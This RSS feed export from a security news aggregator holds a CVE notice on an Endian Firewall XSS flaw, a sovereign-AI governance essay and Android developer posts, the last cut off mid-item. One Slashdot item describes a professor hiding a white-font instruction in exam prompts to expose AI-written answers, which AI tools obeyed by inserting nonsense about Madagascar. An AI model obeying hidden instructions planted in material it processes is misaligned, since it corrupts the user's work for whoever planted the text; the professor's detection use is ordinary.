<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=swift+classes+initializers+superinit%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Thu, 30 Jul 2026 06:00:56 +0200</lastBuildDate>
<pubDate>Thu, 30 Jul 2026 06:00:56 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>
<image>
<url>https://tsecurity.de/favicon.ico</url>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=swift+classes+initializers+superinit%2F]]></link>
</image>
<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=swift+classes+initializers+superinit%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[CVE-2026-34803 | Endian Firewall 3.3.25 Parameter /manage/qos/classes/ Name cross site scripting]]></title>
<description><![CDATA[A vulnerability was found in Endian Firewall 3.3.25. It has been declared as problematic. This affects an unknown part of the file /manage/qos/classes/ of the component Parameter Handler. The manipulation of the argument Name results in cross site scripting.

This vulnerability is identified as C...]]></description>
<link>https://tsecurity.de/de/3695028/sicherheitsluecken/cve-2026-34803-endian-firewall-3325-parameter-manageqosclasses-name-cross-site-scripting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695028/sicherheitsluecken/cve-2026-34803-endian-firewall-3325-parameter-manageqosclasses-name-cross-site-scripting/</guid>
<pubDate>Sun, 26 Jul 2026 06:36:03 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/endian:firewall">Endian Firewall 3.3.25</a>. It has been declared as <a href="https://vuldb.com/kb/risk">problematic</a>. This affects an unknown part of the file <em>/manage/qos/classes/</em> of the component <em>Parameter Handler</em>. The manipulation of the argument <em>Name</em> results in cross site scripting.

This vulnerability is identified as <a href="https://vuldb.com/cve/CVE-2026-34803">CVE-2026-34803</a>. The attack can be executed remotely. There is not any exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[32 of 35 Students Caught Using Hilariously Wrong AI-Generated Answers for Professor's Midterm]]></title>
<description><![CDATA["32 of my 35 students between two classes failed a portion of their midterm because they all used AI to generate their entire response," history professor Jason Gibson says in a viral video shared over 10 million times. "And apparently, they didn't proofread it." 
The instructions included a hidd...]]></description>
<link>https://tsecurity.de/de/3694991/it-security-nachrichten/32-of-35-students-caught-using-hilariously-wrong-ai-generated-answers-for-professors-midterm/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694991/it-security-nachrichten/32-of-35-students-caught-using-hilariously-wrong-ai-generated-answers-for-professors-midterm/</guid>
<pubDate>Sun, 26 Jul 2026 06:31:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["32 of my 35 students between two classes failed a portion of their midterm because they all used AI to generate their entire response," history professor Jason Gibson says in a viral video shared over 10 million times. "And apparently, they didn't proofread it." 
The instructions included a hidden white-font prompt to use the word Madagascar "in a way that makes no sense." So if he saw the word Madagascar, "I knew that they copied and pasted the whole thing, and just threw it in AI." Futurism reports:

[A]pparently none of the indolent cheats put in the bare modicum of effort required to at least check if what the AI wrote made any sense at all... [Gibson shared some AI-generated answersin a follow-up video.] An observation about AI automation was unceremoniously closed with how the island nation "wore a toaster to a basketball game," he also shared. And social media's impact on the world was compared to a "long journey to Madagascar." Gibson makes it clear that humiliating his students wasn't the point. He says he fully explained how he caught them afterwards, and that he gave the students an opportunity to contest their grade. (Only two did, showing at least that they do feel shame....) 

He definitely isn't the only educator going through similar tribulations... One Brown University professor discovered that over half his students were using AI to cheat on an exam, and Princeton University has even dropped its over century-old Honor Code tradition by forcing exams to be supervised after being mired in its own chatbot cheating scandal. "We don't know best practices for navigating academia with AI," Gibson warned. "We're all just trying to hold onto some level of academic integrity in the process." 

"First and foremost, Madagascar has nothing to do with the Industrial Revolutionary," Gibson says with exasperation in the video. "Second, it was more than obvious that they didn't even go back and re-read these responses... If you're going to use AI to generate the entire response, at least re-read it!" Here's how one student answered the test question. "Today technology such as artificial intelligence, smartphones, and automation is changing many jobs by making work faster and reducing the need for some manual tasks. Madagascar floats sideways through the afternoon." 


And another student wrote "At the same time not everyone has the same access to technology, which can make social inequality even worse. Madagascar purple bicycle whispers to the ceiling."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=32+of+35+Students+Caught+Using+Hilariously+Wrong+AI-Generated+Answers+for+Professor's+Midterm%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F25%2F2114259%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F25%2F2114259%2F32-of-35-students-caught-using-hilariously-wrong-ai-generated-answers-for-professors-midterm%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/07/25/2114259/32-of-35-students-caught-using-hilariously-wrong-ai-generated-answers-for-professors-midterm?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sovereign AI has become the public-sector CIO’s control problem]]></title>
<description><![CDATA[In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving in...]]></description>
<link>https://tsecurity.de/de/3694400/it-security-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694400/it-security-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.</p>



<p class="wp-block-paragraph">They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a <a href="https://institute.global/insights/tech-and-digitalisation/sovereignty-in-the-age-of-ai-strategic-choices-structural-dependencies">January 2026 Tony Blair Institute analysis</a>, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?</p>



<h2 class="wp-block-heading">The 5 layers of public-sector control</h2>



<p class="wp-block-paragraph">For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:</p>



<ul class="wp-block-list">
<li><strong>Data control:</strong> Where sensitive public data sits, and whether it can train a vendor’s model.</li>



<li><strong>Model control:</strong> Which models clear which workloads, and under what validation.</li>



<li><strong>Infrastructure control:</strong> Whether critical workloads run in approved environments.</li>



<li><strong>Operational control:</strong> Whether AI-assisted actions are logged, monitored and reversible.</li>



<li><strong>Vendor control:</strong> Whether the agency keeps portability, audit rights and a real exit.</li>
</ul>



<p class="wp-block-paragraph">Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “<a href="https://www.cio.com/article/4147102/ai-without-sovereignty-is-just-outsourced-intelligence.html">AI without sovereignty is just outsourced intelligence</a>”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.</p>



<p class="wp-block-paragraph">Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.</p>



<h2 class="wp-block-heading">Evaluating risk: Concentration, jurisdiction and shadow AI</h2>



<p class="wp-block-paragraph">Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update <a href="https://www.cisa.gov/news-events/alerts/2024/07/19/widespread-it-outage-due-crowdstrike-update">crashed about 8.5 million Windows machines</a>, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.</p>



<p class="wp-block-paragraph">The second is jurisdiction. In June 2025, Microsoft’s legal director for France <a href="https://www.sdxcentral.com/news/microsoft-tells-french-lawmakers-it-cant-protect-user-data-from-us-demands/">told a Senate inquiry, under oath</a>, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold <a href="https://www.srgresearch.com/articles/european-cloud-providers-local-market-share-now-holds-steady-at-15">about 70% of the European cloud market</a>, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.</p>



<p class="wp-block-paragraph">The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.</p>



<p class="wp-block-paragraph">Mandating domestic-only provision before a competitive option exists inverts sovereignty. <a href="https://europe2031.ai/summary">Europe 2031</a>, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.</p>



<p class="wp-block-paragraph">Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform <a href="https://www.pib.gov.in/PressReleaseIframePage.aspx?PRID=2093333&amp;reg=3&amp;lang=2">serving 100 million-plus inferences a month across 22-plus languages</a> on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.</p>



<h2 class="wp-block-heading">Building an operational sovereignty strategy</h2>



<p class="wp-block-paragraph">Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s <a href="https://www.oecd.org/en/publications/governing-with-artificial-intelligence_795de142-en.html">2025 review of government AI</a> warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.</p>



<p class="wp-block-paragraph">None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an <a href="https://berthub.eu/articles/posts/gaia-x-is-an-expensive-distraction/">“expensive distraction”</a> that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.</p>



<p class="wp-block-paragraph">Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:</p>



<ol start="1" class="wp-block-list">
<li>Can we classify AI workloads by public-service risk?</li>



<li>Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?</li>



<li>Can we restrict which models are approved for which data classes and functions?</li>



<li>Can we reconstruct an AI-assisted action in enough detail to explain it?</li>



<li>Can we change providers without losing continuity or institutional knowledge?</li>



<li>Can we explain the system to citizens, regulators, auditors and elected officials?</li>
</ol>



<p class="wp-block-paragraph">A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Top AI on Android updates for building intelligent experiences from Google I/O ‘26]]></title>
<description><![CDATA[Posted by Jingyu Shi, Staff Developer Relations EngineerAt Google I/O 2026, we introduced Android’s shift from an operating system to an intelligence system. We also demonstrated how you can build intelligent experiences natively with the system and bring the power of Google’s AI into your apps. ...]]></description>
<link>https://tsecurity.de/de/3693510/android-tipps/top-ai-on-android-updates-for-building-intelligent-experiences-from-google-io-26/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693510/android-tipps/top-ai-on-android-updates-for-building-intelligent-experiences-from-google-io-26/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:43 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqtr_NVZaXiVnywBK8bKIamZw4oM3DFopMeWXl_DsHJktlRpmuCkOCQEkc85z-xJ8id7DT8ggl6OopYCndxxYb8kA2LIttV3DlL1Mzmt5OffK_Lyq1q_mxg4RdUjQ23rOyNY5N3wopBtBODH-HQsPRqBc8cS8Kw0Azhz14Jn8EjEdKQ3znXGLRVUpM_-g/s4097/Blog_Meta@2x.png">



<i>Posted by Jingyu Shi, Staff Developer Relations Engineer</i><div><i><br></i><div><name content="IMG" twitter:image=""><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnWqvWK7oNvOOsTjwsLlEtnmvh7HwduYCahIBBtGUCUZQmQ0pfEWvk3hH0xlrnhyi5oZzY_ZU22jLYl-IA00DVLLi0No_oYWTXYZSk95GLU5P-IirCS74fx2MAUV5mKO_p_6SvFiiNmFnuUoet0QHyMjc8TeLE4Ie7HE3wcFfNeFzkN66IDCkNx1QYQiI/s8419/BLOG%20HERO_BLOGGER@2x.png"><img border="0" data-original-height="2507" data-original-width="8419" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnWqvWK7oNvOOsTjwsLlEtnmvh7HwduYCahIBBtGUCUZQmQ0pfEWvk3hH0xlrnhyi5oZzY_ZU22jLYl-IA00DVLLi0No_oYWTXYZSk95GLU5P-IirCS74fx2MAUV5mKO_p_6SvFiiNmFnuUoet0QHyMjc8TeLE4Ie7HE3wcFfNeFzkN66IDCkNx1QYQiI/s16000/BLOG%20HERO_BLOGGER@2x.png"></a></div><br><i><br></i><p></p><p><i></i></p><br></name><div>At Google I/O 2026, we introduced Android’s shift from an operating system to an intelligence system. We also demonstrated how you can build intelligent experiences natively with the system and bring the power of Google’s AI into your apps. If you missed these updates, check out our quick recap video here: </div><div><div><name content="IMG" twitter:image=""><br><div class="separator">
<div class="separator">
  
  
</div>
  <br></div></name><h4><name content="IMG" twitter:image=""><b><span>1. Putting your apps at the center of the intelligence system</span></b></name></h4><name content="IMG" twitter:image=""><div>The Android OS already enables agents like <a href="https://www.android.com/gemini-intelligence/?utm_source=blog.google&amp;utm_medium=owned&amp;utm_campaign=next">Gemini</a> to complete task automation, where it can navigate an app on the users behalf. </div><div><br></div><div><a href="https://developer.android.com/ai/appfunctions">AppFunctions</a> (Android MCP) provides you with more control over how your app integrates with the intelligence system. This new platform API and Jetpack library are currently available in experimental preview. </div><p></p><ul><li><name content="IMG" twitter:image=""><b>Android MCP:</b> AppFunctions allows your application to act as an on-device Model Context Protocol (MCP) server. It means you seamlessly share your app's tools, services and data to the system and agents.</name></li></ul><p></p><p></p><ul><li><name content="IMG" twitter:image=""><b>Streamlined Development: </b>You can leverage the new <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">skill</a> to easily generate AppFunctions within your codebase.  </name></li></ul><p></p><p></p><ul><li><name content="IMG" twitter:image=""><b>Exploration and Testing:</b> We’ve released a new <a href="https://github.com/android/appfunctions/releases">test agent</a> that allows you to experiment and debug your AppFunctions in a simulated agent environment. </name></li></ul><span><div align="center" dir="ltr"><table><colgroup><col></colgroup><tbody><tr><td><div><span face='"Google Sans Text", sans-serif'>Early Access Program</span><span face='"Google Sans Text", sans-serif'>: Want to be among the first apps to deploy app functions in production? </span><a href="https://docs.google.com/forms/d/e/1FAIpQLScEoIsgzE-LbgRrYcQMc-Lit_5VlKRA0iWw7Pvg1brIc8wXAw/viewform"><span face='"Google Sans Text", sans-serif'>Join</span></a><span face='"Google Sans Text", sans-serif'> our early access program today!</span></div></td></tr></tbody></table></div></span></name></div><div><br></div><div>To see it in action, check out the live demo showcased during the <i>What’s New</i> in Android presentation.</div><div><br></div><div class="separator">
<div class="separator">
  
  
</div>
  <div><div><span><br></span></div><h4><b> <span>2. On-Device Power with Gemini Nano 4 Preview</span></b></h4><br><div>Last month, we launched <a href="https://android-developers.googleblog.com/2026/04/gemma-4-new-standard-for-local-agentic-intelligence.html">Gemma 4</a>, our state-of-the-art open models. You can already preview and prototype with the next generation of Gemini Nano (Nano 4) models with the <a href="https://developers.google.com/ml-kit/genai/aicore-dev-preview">AIcore developer preview</a>. To make productionizing with Gemini Nano more reliable and performant, we are adding a few new features in <b>ML Kit GenAI APIs</b>: </div><br><p></p><p></p><ul><li><b>Prototype to Production: </b>Transition from prototyping in the AICore Developer Preview to building production-ready apps using the ML Kit GenAI <a href="https://developers.google.com/ml-kit/genai/prompt/android/get-started">Prompt API</a> to leverage Gemini Nano 4 that’s launching in flagship devices later this year.</li></ul><p></p><p></p><p></p><ul><li><b>Structured Output:</b> The upcoming Structured Output API will allow you to define object classes to be returned as outputs from Prompt API, ensuring reliable outputs in productionizing your intelligent features. </li></ul><p></p><p></p><ul><li><b><a href="https://developers.google.com/ml-kit/genai/prompt/android/prefix-caching">Prefix Caching</a>:</b> It optimizes your on-device inference performance with the prompt API. The new Prefix caching reduces inference time by storing and reusing the intermediate LLM state of processing a shared and recurring part of the prompt.</li></ul><p></p><div><b><br></b></div><div>For highly customized or niche use cases, you can also use LiteRT-LM to <a href="https://youtu.be/boy-UjB8hpA?si=MCPddRD7eblz8ICr">bring your own</a> fine-tuned small language model to Android.</div></div><br><div class="separator">
<div class="separator">
  
  
</div>
</div><div class="separator"><br></div><div class="separator"><br></div><b><div><b><span>3. Hybrid Inference &amp; Agents</span></b></div></b><div><div><br></div><div>To help you build more advanced AI features like hybrid inference and explore building in-app agents, we’ve released new APIs, framework and guidances:</div><p></p><p></p><ul><li><b><a href="https://android-developers.googleblog.com/2026/04/Hybrid-inference-and-new-AI-models-are-coming-to-Android.html">Firebase AI Logic Hybrid Inference</a>: </b>This new API provides the simple routing capability between on-device models and powerful cloud infrastructure. You can set explicit orchestration modes, such as <code>PREFER_ON_DEVICE</code>, <code>PREFER_CLOUD</code>, <code>ONLY_ON_DEVICE</code>, or <code>ONLY_CLOUD</code>, based on your need.</li></ul><p></p><p></p><p></p><ul><li><b>A2UI Jetpack Compose Renderer:</b> The new A2UI library allows your agents to "speak UI". With the upcoming Jetpack Compose Renderer, you can automatically render these A2UI messages as native UI components.</li></ul><p></p><p></p><ul><li><b><a href="https://developers.googleblog.com/adk-kotlin-android-building-ai-agents/">ADK for Android</a>:</b> The first version of ADK for Android is available for experimentation. It allows you to build multi-agent workflows across both on-device and Cloud models while managing orchestration, context handling and sessions between agents.</li></ul><div><br></div><div>From building with on-device models, exploring hybrid inference to building agents, you can see them in action in this talk: </div></div><div> <br><p></p><div class="separator">
<div class="separator">
  
  
</div>
  </div><div class="separator"><br></div><div class="separator"><h3>Start Building Today</h3><div class="separator"><div class="separator"><div class="separator">Whether you are experimenting with AppFunctions to prepare for the intelligence system, or looking to bring the power of Google’s AI within your own app, we’ve got you covered. Dive deeper into the code snippets, samples and comprehensive developer guides on the Android AI <a href="https://developer.android.com/ai">hub</a>. For the full breakdown of what’s new, check out the official <b>AI on Android at Google I/O 2026</b> <a href="https://www.youtube.com/playlist?list=PLWz5rJ2EKKc-GL3584TkxUyoPfzPkB1mV">playlist</a>.</div><div class="separator"><br></div><div class="separator">We are excited to see what you build! </div><div><br></div></div><div><br></div></div></div></div></div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Prioritizing Memory Efficiency: Essential Steps for Android 17]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer



    
        
    



    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which thes...]]></description>
<link>https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:41 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCIAoJpwUITPS5C3_eTksMsaslwqPk7SIEQHkwEkGv8572ccdIKcdv6kNC1BOSJPAZTgX5m3liMMv4zdK58e5dWRhUfo39uas23LuhEWf13TFnDTdw-Z5mWn4JarSnC8yCET8Sw15zSF-jQ5zwALriacGK6IjAGxNg61sFtSxzndjvqXxZtJt4qxuzd9A/s2048/Engineering-Memory-Blog-Meta-3.png">

<div class="separator">
    <em>Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer</em>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s4209/Engineering-Memory-Blog-3.png">
        <img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s16000/Engineering-Memory-Blog-3.png">
    </a>
</div>

<p>
    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.
</p>

<p>
    To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.
</p>

<div>
    Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.
</div>

<div>
    <p>To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:</p>
    <ol>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Maximize">Maximize bytecode optimization with R8</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Optimize">Optimize image loading</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Detect">Detect and fix memory leaks with Android Studio</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Trim">Trim memory when app leaves visible state</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Advanced">Advanced memory observability with ProfilingManager</a></li>
    </ol>
</div>
<br>
<div>
    <div class="separator">
        
    </div>
    <div>
        <em>A condensed version of this blog post is also available in video format, go check it out!</em>
    </div>
    
    <h3>Understanding Android 17 app memory limits</h3>
    <p>App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.</p>
    <p>Here is a breakdown of the reasons driving this architectural change:</p>
    
    <div>
        <ul>
            <li><b>Preventing cascading kills:</b> When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.</li>
            <li><b>Preserving multitasking and user state:</b> When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.</li>
        </ul>
        
        <div>
            <p>To determine if your app session was impacted by these constraints in the field, you can call <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#getDescription%28%29" target="_blank">getDescription()</a> within <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo" target="_blank">ApplicationExitInfo</a>. If the system applied a limit, the exit reason is reported as <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#REASON_OTHER" target="_blank">REASON_OTHER</a> and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/trigger-based-capture" target="_blank">trigger-based profiling</a> using <a href="https://developer.android.com/about/versions/17/features#anomaly-profiling-trigger" target="_blank">TRIGGER_TYPE_ANOMALY</a> to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.</p>
            <p>We have also expanded our <a href="https://developer.android.com/about/versions/17/behavior-changes-all#app-memory-limits" target="_blank">memory limits documentation</a> to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement. </p>
        </div>
    </div>
</div>

<div>
    <h3>Maximize bytecode optimization with R8</h3>
    <p>A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution. </p>
    <p>R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.</p>
</div>

<div class="separator">
